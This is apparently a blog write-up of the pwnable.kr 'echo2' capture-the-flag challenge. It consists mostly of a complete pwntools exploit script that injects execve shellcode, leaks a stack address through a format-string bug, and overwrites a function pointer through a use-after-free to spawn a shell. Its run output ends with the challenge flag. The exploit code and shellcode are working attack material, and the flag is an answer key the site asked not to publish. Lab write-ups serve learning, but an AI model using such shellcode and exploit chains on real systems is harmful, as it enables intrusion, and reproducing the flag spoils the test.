【PWN】Pwnable.kr echo2 writeup

Recently I've been informed that pwnable.kr does not want solutions for their challenges posted online, so there'll be no more details to be posted on my blog. However, I'll post problem solving ideas here.

 

---------------------------------------------------------------------------------- 

依旧是基本技巧的考察，shellcode的寻找着实费了一番周折，然后就是FSB和UAF漏洞的利用，很好的一题！

 

 

 

#Exploit for [email protected]

 

#@Windcarp 2015.07.23

from pwn import *

#init

context(arch = 'amd64', os = 'linux')

local=False

if local:

    p = process("./echo2")

    libc = ELF("/lib/x86_64-linux-gnu/libc-2.19.so")

else:

    p = remote("pwnable.kr", 9011)

binary = ELF("echo2")

raw_input()

#address

leakaddrstr = ''

#payload @Reference: https://www.exploit-db.com/exploits/36858/

payload = 'a'*24

shellcode = ""

shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"

shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"

shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"

formatstr = "%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"

#input shellcode in 24 bits' space

p.recvuntil(':')

p.send(shellcode + '\n')

p.recvuntil('>')

p.send('2' + '\n')

#get leak address in FSB -0x20

p.recvuntil('\n')

p.send(formatstr + '\n')

leak = p.recvuntil('\n')

leakaddrstr += '0x7fff' + leak[-9:-1]

addr = p64(string.atoi(leakaddrstr,16)-0x20)

print '[*] leak: ' + repr(leak)

print '[*] addr: ' + repr(addr)

#overwrite the address of greeting function in UAF

p.recvuntil('>')

p.send('4' + '\n')

p.recvuntil(')')

p.send('n' + '\n')

p.recvuntil('>')

p.send('3' + '\n')

p.recvuntil('\n')

p.send(payload + addr)

p.recvuntil('>')

#after overwrite trig greeting function

p.send('2' + '\n')

#yeah!We got the shell!@Reference: https://www.ricter.me/

p.interactive()

 

 

 

python exploit.py 

[+] Opening connection to pwnable.kr on port 9011: Done

[*] '/home/windcarp/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/Lesson 4 pwn.kr \xe6\x8f\x90\xe9\xab\x98/echo2/echo2'

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX disabled

    PIE:      No PIE

[*] leak: '2ad5801e.2ab34ac0.c7300b50.78252e78.0.252e7825.2e78252e.78252e78.252e7825.c7300bb0\n'

[*] addr: '\x90\x0b0\xc7\xff\x7f\x00\x00'

[*] Switching to interactive mode

 sh: 1: 2: not found

$ ls

echo2

flag

log

super.pl

$ cat flag

fun_with_UAF_and_FSB :)